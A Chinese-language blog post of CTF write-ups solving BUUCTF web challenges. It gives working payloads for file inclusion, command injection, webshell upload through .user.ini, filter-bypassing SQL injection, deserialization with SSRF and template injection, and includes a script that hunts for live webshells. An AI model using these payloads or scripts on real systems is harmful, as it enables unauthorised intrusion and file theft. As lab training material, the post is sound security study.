百道CTF刷題記錄(三)之BUUCTF
前言
接上篇,繼續刷題。
刷題之旅
[ACTF2020 新生賽]Include
開啟題目,可以看到有個tips的跳轉連結,點選後跳轉到:
/?file=flag.php
結合題目猜測原始碼為:
<?php
include $_GET['file'];
?>
先用LFI讀取index.php
再說。
/?file=php://filter/read=convert.base64-encode/resource=index.php
得到原始碼:
<meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo '<a href="?file=flag.php">tips</a>'; } ?>
好像沒有攔截flag
關鍵字,直接用LFI讀取flag.php即可。
/?file=php://filter/read=convert.base64-encode/resource=flag.php
[極客大挑戰 2019]Knife
開啟題目,得到提示:
eval($_POST["Syc"]);
直接開啟Webshell管理工具,這裡我用蟻劍演示。
在根目錄下發現flag檔案,右鍵讀取即可。
[極客大挑戰 2019]Http
開啟題目,在HTML原始碼處發現:
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛圍</a>
訪問Secret.php得到:
It doesn't come from 'https://www.Sycsecret.com'
我們使用Burpsuite抓包修改請求頭中的Referer欄位,重放資料包得到:
Please use "Syclover" browser
再修改User-Agent欄位為Syclover
,重放資料包得到:
No!!! you can only read this locally!!!
最後修改X-Forwarded-For欄位為127.0.0.1
,重放資料包即可得到Flag。
- Referer記錄HTTP請求來源,可起到檢視跳轉來源、防CSRF等作用
- User-Agent記錄請求對應的瀏覽器資訊,方便頁面做相應的自適應等工作
- X-Forwarded-For記錄請求傳送的代理IP資訊,可偽造,PHP中通過
$_SERVER['HTTP_X_FORWARD_FOR']
獲取,不收GPC魔術引號影響。
[ACTF2020 新生賽]Exec
通過題目名稱,簡單判斷為命令執行題。
老規矩,嘗試列目錄:
1;ls
返回:
PING 1 (0.0.0.1): 56 data bytes
index.php
嘗試讀取index.php看看原始碼怎樣寫的:
1;cat index.php
得到:
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
沒有黑名單等攔截方法,直接起飛,通常flag都在根目錄,我們列出根目錄的檔案:
1;ls /
得到:
PING 1 (0.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
讀取flag檔案:
1;cat /flag
[SUCTF 2019]CheckIn
開啟題目,發現是道上傳題。
我們先用Burp抓個上傳資料包。正常上傳圖片發現可以成功上傳:
Your dir uploads/adeee0c170ad4ffb110df0cde294aecd <br>Your files : <br>array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) "index.php"
[3]=>
string(8) "test.jpg"
}
並返回上傳路徑與同目錄下的檔案資訊,且上傳名不變。
發現上傳目錄記憶體在php檔案,猜測上傳php應該能夠解析,嘗試php、php3、php3p、php4、php5、phtml、pht
格式均不可上傳,被黑名單攔截。
嘗試Apache解析漏洞,上傳test.php.xxx
,發現解析錯誤,同樣失敗告終。
一番查閱後得知,可通過上傳.user.ini
檔案來給同目錄下的index.php
檔案新增上一些額外的內容。
auto_prepend_file=xxx.jpg
此時,同目錄下的index.php
會相當於自動在頭部require xxx.jpg
,起到任意檔案包含的作用。
先上傳一個偽裝成圖片的webshell:
再上傳.user.ini
檔案:
此時/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
檔案已自動包含上我們的test.jpg,成功一個webshell,我們可以直接連線上蟻劍,再讀取flag即可。
- 何為GIF89a,圖片格式gif必要檔案頭資訊。
- .user.ini,php配置檔案之一,可配置一些php引數,可影響同目錄或子目錄的php檔案,無需php重啟。
<script language='php'></script>
,php作用域的另一種表示方法,除此之外還有短字元<? ?>
。
[極客大挑戰 2019]BabySQL
SQL注入題,此題過濾掉了一些危險關鍵字,使用雙寫繞過即可,如or關鍵字,雙寫為:oorr
。
查表名:
/check.php?username=1%27unioorn%20selecort%201,2,group_concat(table_name)%20froorm%20infoorrmation_schema.tables%20wheorre%20table_schema=database()%23&password=1
差列名:
/check.php?username=1%27unioorn%20selecort%201,2,group_concat(column_name)%20froorm%20infoorrmation_schema.columns%20wheorre%20table_schema=database()%20anord%20table_name=%27b4bsql%27%23&password=1
讀資料:
/check.php?username=1%27unioorn%20selecort%201,2,group_concat(id,username,passwoorrd)%20froorm%20b4bsql%23&password=1
[CISCN2019 華北賽區 Day2 Web1]Hack World
開啟題目,發現給了提示:
All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage
輸入正常資料1
:
Hello, glzjin wants a girlfriend.
老規矩,單引號走起1'
,返回:
bool(false)
易知此處應該屬於盲注,題目所給出的資訊應該是為了節省時間。
此處空格、*
被攔截,使用一下方法繞過:
- %0a等其他不可見字元
- 多層括號巢狀
EXP:
id=if(【判斷條件】,1,2)
條件為真即返回:Hello, glzjin wants a girlfriend.
條件為假時返回:Do you want to be my girlfriend?
由於知道flag位置,我們直接判斷資料長度然後逐位判斷:
id=if(length((select%0aflag%0afrom%0aflag))>【長度】,1,2)
得到長度為42,接著讀取資料:
注意Burp選擇Cluster bomb
模式,然後到Payloads區設定Payload。
Payload1選擇數字模式,從1到42,步長為1。Payload2為a-z、0-9、{
、}
,由於-
被攔截,故不新增。
注意在BUU復現時還需到Options區將執行緒數設定為1,否則會被BUU的WAF攔截。
最後將結果拼裝即可,注意未直接判斷出的位是符號-
。
[極客大挑戰 2019]Upload
又一道上傳題,嘗試上傳php檔案,提示:
NOT!php!
發現可以上傳phtml
檔案:
修改上傳內容為php內容後發現:
NO! HACKER! your file included '<?'
提示禁止<?
,老套路了,修改為<script language='php'></script>
的格式即可。
上傳後嘗試訪問/test.phtml
發現報錯,估計上傳目錄不是根目錄,直接盲猜一手upload,成功訪問。
/upload/test.phtml?a=system(%27cat%20/flag%27);
[ACTF2020 新生賽]BackupFile
開啟題目,頁面上給出提示:
Try to find out source file!
寫個指令碼掃一下原始碼,附個簡單的列表:
/.svn/
/.DS_Store/
/.idea/
/.git/
.index.php.swp
index.php.bak
.flag.php.swp
flag.php
config.php
fl4g.php
f14g.php
f1ag.php
wwwroot.rar
wwwroot.zip
www.rar
www.zip
/.git/HEAD
/.git/index
/.git/config
/.git/description
/README.MD
/README.md
/README
/.gitignore
/.svn
/.svn/wc.db
/.svn/entries
/.hg
/.ds_store
/WEB-INF/web.xml
/WEB-INF/src/
/WEB-INF/classes
/WEB-INF/lib
/WEB-INF/database.propertie
/CVS/Root
/CVS/Entries
/.bzr/
/_viminfo
/.viminfo
/.save
/.save1
/.save2
/.save3
/.bak_Edietplus
/.bak
/.back
/phpinfo.php
/test.php
/.bash_history
掃到原始碼:index.php.bak,下載下來檢視:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
$key == $str
簡單的弱型別比較繞過,/?key=123
訪問即可獲得flag。
[極客大挑戰 2019]BuyFlag
開啟題目,在pay.php頁面處發現註釋:
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
結合頁面內容:
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
用BurpSuite抓包後,在cookie處發現端倪:user=0
,猜測修改為1之後才能滿足:You must be a student from CUIT!!!
。
password處為簡單的PHP弱型別比較,要求不能輸入數字又與數字404==
比較成立。
右鍵選擇Change request method
改為POST型,新增上money與password引數:money=100000000&password=404a
,傳送後返回you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>
。
限制了長度,很明顯可以通過科學計數法繞過,將money引數修改成:1e12
即可。
POST /pay.php HTTP/1.1
Host: xxx.node3.buuoj.cn
Cookie: user=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
money=1e12&password=404a
[ACTF2020 新生賽]Upload
簡單上傳題,上傳phtml檔案繞過即可。
[網鼎杯 2018]Fakebook
開啟題目,在join.php
處發現注入,此處推薦報錯注入,但我做的時候使用的布林盲注。
爆表名,得表名users
:
username=1' and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='',exp(4000),1)%23&passwd=1&age=1&blog=http://www.baidu.com
爆列名,得列名no,username,passwd,data
:
username=1' and if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='',exp(4000),1)%23&passwd=1&age=1&blog=http://www.baidu.com
發現並無flag欄位,猜測考點應該不止SQL注入。
發現存在robots.txt檔案,訪問得到:
User-agent: *
Disallow: /user.php.bak
訪問得到user.php的原始碼:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
發現此處存在SSRF漏洞。
在view.php?no=1
發現SQL注入,注意此處有正則判斷:
view.php?no=-1%20union/**/select%201,2,3,4%20%23
返回錯誤:
Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31
猜測SQL資料為序列化之後的資料。
利用報錯注入注出資料(concat函式被攔截):
view.php?no=1%20and%20updatexml(1,make_set(3,%27~%27,(select%20group_concat(data)%20from%20users)),1)%23
可以發現data資料為UserInfo類的序列化資料。
簡單的反序列得能利用SSRF漏洞的EXP:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最後再view.php函式利用上此EXP即可:
/view.php?no=1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
在原始碼得到Iframe標籤的Base64值,解碼得到flag.php的內容:
<?php
$flag = "flag{7d808a80-041e-40f2-b87f-89cfc4f86895}";
exit(0);
[ZJCTF 2019]NiZhuanSiWei
開啟題目得到首頁原始碼:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
稍顯要繞過file_get_contents($text,'r')==="welcome to the zjctf"
,由於我們並不知道滿足條件的檔案,故此處很容易可想到是要考LFI。
此處有兩種方法pass:
- 使用data協議
- 使用php://input偽協議
第二處對變數$file進行了正則判斷,使得我們無法直接LFI讀flag。
通過旁邊的註釋//useless.php
,我們先使用LFI讀取其原始碼得:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
配合index.php檔案的$password很容易知道最後一個考點是反序列化漏洞。
echo $password;
會觸發物件的__tostring魔法函式,從而執行程式碼,讀取FLAG。
payload:
1、GET: /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
2、POST: /?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
welcome to the zjctf
[BJDCTF2020]Easy MD5
開啟題目發現從首頁跳轉到了:/leveldo4.php
。
用抓包工具重放發現首頁的跳轉包無有用資料,而在/leveldo4.php
請求的響應頭出得到提示:
Hint: select * from 'admin' where password=md5($pass,true)
這也是常考點了,在php中md5函式格式如下:
string md5( string $str[, bool $raw_output = false] )
-
str
原始字串。
-
raw_output
如果可選的
raw_output
被設定為TRUE
,那麼 MD5 報文摘要將以16位元組長度的原始二進位制格式返回。
我們注意到,當raw_output為ture時返回是二進位制格式,而md5函式的返回值為string型別,因此這裡會隱式的將原始二進位制格式資料轉成字串格式,這就造成了單引號逃逸的情況。
如經典的ffifdyop
,經由md5($str, true)
轉換後得到:'or'6]!r,b
,可以看到單引號被逃逸了出來,且拼接上了一個永真條件。
將ffifdyop
提交後,頁面跳轉到新的地址:levels91.php
。
在HTML原始碼處得到提示:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
這裡是弱型別比較考點。
簡單的說就是"0e"開頭的字串在進行弱型別比較的時候會認為是科學計數法表示的數字。
所以0e545993274517709034328855841020
相當於0*10^545993274517709034328855841020=0
,與0e342768416822451524974117254469
相同,也都是數字0。
所以"0e545993274517709034328855841020" == "0e342768416822451524974117254469"
成立,也即:md5("s155964671a") == md5("s155964671a")
成立。
下面列舉幾個相關的payload:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
通過後再次跳轉至: levell14.php
,開啟頁面即得到原始碼:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
這裡使用了===
強比較做判斷,0e
科學計數法的方法不再管用。
這裡使用的是md5函式無法對陣列型別的引數做處理,會返回NULL併產生一個WARNING級別的訊息。
利用這個特點,我們POST如下資料即可通過:
param1[]=1¶m2[]=2
[強網杯 2019]高明的黑客
開啟題目:
雁過留聲,人過留名,此網站已被黑
我也是很佩服你們公司的開發,特地備份了網站原始碼到www.tar.gz以供大家觀賞
把備份原始碼下載到本地:
發現裡邊有3002個php檔案,隨便開啟一個發現程式碼都是亂七八糟的。
各種危險函式assert、eval
等,不過都是被限制得死死的。
看來得需要我們編寫指令碼來一份一份得跑才行。
下面是我簡單編寫的多執行緒指令碼:
import requests, threading, queue, os, re, time
FileQueue = queue.Queue()
WebShellQueue = queue.Queue()
evalPattern = "\$\_(GET|POST)\['(\S+)'\]"
path = r"D:\\phpStudy\\PHPTutorial\\WWW\\webshell"
class FileScan(threading.Thread):
def run(self):
while not FileQueue.empty():
file = FileQueue.get()
with open(path + r"\\\\" + file, "r", encoding="utf-8") as readfile:
r = re.compile(evalPattern)
for (method, variable) in r.findall(readfile.read()):
WebShellQueue.put({
"file": file,
"method": method,
"variable": variable
})
class CheckWebShell(threading.Thread):
def run(self):
while True:
if not WebShellQueue.empty():
webShell = WebShellQueue.get()
if webShell['file'][0:2] == 'xk':
if webShell["method"] == "GET":
r = requests.get(url="http://127.0.0.1/webshell/{}?{}=echo \"[*]\"".format(webShell['file'], webShell['variable']))
else:
data = {webShell['variable']: "echo \"[*]\""}
r = requests.post(url="http://127.0.0.1/webshell/" + webShell['file'], data=data)
print("[-]Try: {}, Variable: {}".format(webShell['file'], webShell['variable']))
if "[*]" in r.text:
print("[+]File found: {}, Variable: {}".format(webShell['file'], webShell['variable']))
WebShellQueue.queue.clear()
break
def main():
global FileQueue, WebShellQueue
fileQueueList = []
webShellQueueList = []
for file in os.listdir(path):
FileQueue.put(file)
for i in range(10):
th = FileScan()
fileQueueList.append(th)
th.start()
time.sleep(10)
for j in range(100):
th = CheckWebShell()
webShellQueueList.append(th)
th.start()
for th in fileQueueList:
th.join()
for th in webShellQueueList:
th.join()
if __name__ == '__main__':
main()
[BJDCTF 2nd]fake google
開啟題目,隨便點了一下。
/qaq?name={{7*7}}
頁面返回49,簡單就可以知道此題的考點應該就是ssti。
在網上找了一個payload,成功讀取flag:
/qaq?name={{a.__init__.__globals__.__builtins__.eval("__import__(%27os%27).popen(%27cat%20/flag%27).read()")}}
後語
今天剛打完了CISCN,關於php的題還是做不來出來,審計與phptrick方面還是不清楚,看來還得多刷題多學習呀。